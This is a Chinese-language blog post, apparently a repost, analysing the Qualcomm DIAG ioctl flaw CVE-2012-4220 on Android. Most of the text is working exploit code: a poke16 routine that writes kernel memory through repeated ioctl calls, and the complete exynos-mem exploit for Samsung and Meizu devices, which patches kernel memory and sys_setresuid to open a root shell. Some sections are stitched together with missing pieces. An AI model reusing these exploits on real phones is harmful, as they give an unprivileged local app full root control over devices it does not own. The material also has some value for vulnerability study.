/*
本文章由 莫灰灰 编写,转载请注明出处。
作者:莫灰灰 邮箱: [email protected]
*/
1. 漏洞描述
在处理DIAG设备的ioctl系统调用参数时,一些未经验证的引用自用户层的不可信指针被使用了。对于本地安装的应用程序来说,可以使用这个漏洞来实施拒绝服务攻击,或者在内核下执行任意代码。
2. 漏洞分析
*((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id); 这个赋值操作,可以修改delay_params->rsp_ptr的值,DIAGPKT_NEXT_DELAYED_RSP_ID宏的代码如下:
如何利用:
知道了原理之后,那么其实我们每一次ioctl调用可以修改2个字节。
1.通过ioctl得到当前delayed_rsp_id的值
2.如果delayed_rsp_id的值大于我们需要的值,那么通过*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);把delayed_rsp_id重置为2(delayed_rsp_id的地址需要硬编码得到)
3.之后得到loop的次数,loop_count = (data_we_want - delayed_rsp_id_value) & 0xffff;
4.最后将delay_params->rsp_ptr地址里面的值修改为我们需要的值,从而达到任意地址修改的目的
5.如果是修改4字节的函数地址,那么可以分两次来修改
3.PoC
delayed_rsp_id_address的硬编码地址如下:
使用copy_from_user和copy_to_user函数保证用户层传入参数的正确性,而不是直接使用。
参考文章:https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012
转: http://bbs.pediy.com/showthread.php?t=161590
CVE-2012-4220之利用
去年年底高通的漏洞,应该影响了很多机器。
有问题的代码片段:
include/linux/diagchar.h
.. #define DIAG_IOCTL_GET_DELAYED_RSP_ID 8 ... struct diagpkt_delay_params{ void *rsp_ptr; int size; int *num_bytes_ptr; }; ...
... /* delayed_rsp_id 0 represents no delay in the response. Any other number means that the diag packet has a delayed response. */ static uint16_t delayed_rsp_id = 1; #define DIAGPKT_MAX_DELAYED_RSP 0xFFFF /* This macro gets the next delayed respose id. Once it reaches DIAGPKT_MAX_DELAYED_RSP, it stays at DIAGPKT_MAX_DELAYED_RSP */ #define DIAGPKT_NEXT_DELAYED_RSP_ID(x) \ ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP) ... } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) { struct diagpkt_delay_params *delay_params = (struct diagpkt_delay_params *) ioarg; if ((delay_params->rsp_ptr) && (delay_params->size == sizeof(delayed_rsp_id)) && (delay_params->num_bytes_ptr)) { *((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id); *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id); success = 0; } ...
static int poke16(int fd, void *magic, void *addr, uint16_t val) { int ret, num; uint16_t rsp, loop; struct diagpkt_delay_params p; LOGD("%s:%d: enter.", __func__, __LINE__); LOGD("%s:%d %d %p %p 0x%04x", __func__, __LINE__, fd, magic, addr, val); // orz if (val < 3) { LOGD("%s:%d: val < 3 is not supported.", __func__, __LINE__); return -1; } // delayed_rsp_id will ++ after every call p.rsp_ptr = &rsp; p.size = sizeof(rsp); p.num_bytes_ptr = # ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p); if (ret < 0) { perror("ioctl"); LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno)); return -1; } rsp += 1; LOGD("%s:%d: delayed_rsp_id = %04x, val = %04x", __func__, __LINE__, rsp, val); if (rsp > val) { // make delayed_rsp_id = 2 p.rsp_ptr = &rsp; p.size = sizeof(rsp); p.num_bytes_ptr = magic; ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p); if (ret < 0) { perror("ioctl"); LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno)); return -1; } // rsp = 2; } // loop loop = val - rsp; LOGD("%s:%d: loop = %04x", __func__, __LINE__, loop); while (loop--) { p.rsp_ptr = &rsp; p.size = sizeof(rsp); p.num_bytes_ptr = # ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p); if (ret < 0) { perror("ioctl"); LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno)); return -1; } } // delayed_rsp_id should be val now p.rsp_ptr = addr; p.size = sizeof(rsp); p.num_bytes_ptr = # ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p); if (ret < 0) { perror("ioctl"); LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno)); return -1; } LOGD("%s:%d leave.", __func__, __LINE__); return 0; }
一般都是在sys_setresuid和sys_setresgid这些内核符号上爆破,后边应用层直接调用setresuid...
这些内核导出符号一般都要搜索/proc/kallsyms
看看samsung GS3等exynos CPU之前的漏洞利用源码
/* * exynos-mem device abuse by alephzain * * /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX * * the device is R/W by all users : * crw-rw-rw- 1 system graphics 1, 14 Dec 13 20:24 /dev/exynos-mem * */ /* * Abuse it for root shell */ #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <stdbool.h> #define PAGE_OFFSET 0xC0000000 #define PHYS_OFFSET 0x40000000 int main(int argc, char **argv, char **env) { int fd, i, m, index, result; unsigned long *paddr = NULL; unsigned long *tmp = NULL; unsigned long *restore_ptr_fmt = NULL; unsigned long *restore_ptr_setresuid = NULL; unsigned long addr_sym; int page_size = sysconf(_SC_PAGE_SIZE); int length = page_size * page_size; /* for root shell */ char *cmd[2]; cmd[0] = "/system/bin/sh"; cmd[1] = NULL; /* /proc/kallsyms parsing */ FILE *kallsyms = NULL; char line [512]; char *ptr; char *str; bool found = false; /* open the door */ fd = open("/dev/exynos-mem", O_RDWR); if (fd == -1) { printf("[!] Error opening /dev/exynos-mem\n"); exit(1); } /* kernel reside at the start of physical memory, so take some Mb */ paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET); tmp = paddr; if (paddr == MAP_FAILED) { printf("[!] Error mmap: %s|%08X\n",strerror(errno), i); exit(1); } /* * search the format string "%pK %c %s\n" in memory * and replace "%pK" by "%p" to force display kernel * symbols pointer */ for(m = 0; m < length; m += 4) { if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) { printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m); restore_ptr_fmt = tmp; *(unsigned long*)tmp = 0x20207025; found = true; break; } tmp++; } if (found == false) { printf("[!] s_show->seq_printf format string not found\n"); exit(1); } found = false; /* kallsyms now display symbols address */ kallsyms = fopen("/proc/kallsyms", "r"); if (kallsyms == NULL) { printf("[!] kallsysms error: %s\n", strerror(errno)); exit(1); } /* parse /proc/kallsyms to find sys_setresuid address */ while((ptr = fgets(line, 512, kallsyms))) { str = strtok(ptr, " "); addr_sym = strtoul(str, NULL, 16); index = 1; while(str) { str = strtok(NULL, " "); index++; if (index == 3) { if (strncmp("sys_setresuid\n", str, 14) == 0) { printf("[*] sys_setresuid found at 0x%08X\n",addr_sym); found = true; } break; } } if (found) { tmp = paddr; tmp += (addr_sym - PAGE_OFFSET) >> 2; for(m = 0; m < 128; m += 4) { if (*(unsigned long *)tmp == 0xe3500000) { printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m); restore_ptr_setresuid = tmp; *(unsigned long *)tmp = 0xe3500001; break; } tmp++; } break; } } fclose(kallsyms); /* to be sure memory is updated */ usleep(100000); /* ask for root */ result = setresuid(0, 0, 0); /* restore memory */ *(unsigned long *)restore_ptr_fmt = 0x204b7025; *(unsigned long *)restore_ptr_setresuid = 0xe3500000; munmap(paddr, length); close(fd); if (result) { printf("[!] set user root failed: %s\n", strerror(errno)); exit(1); } /* execute a root shell */ execve (cmd[0], cmd, env); return 0; }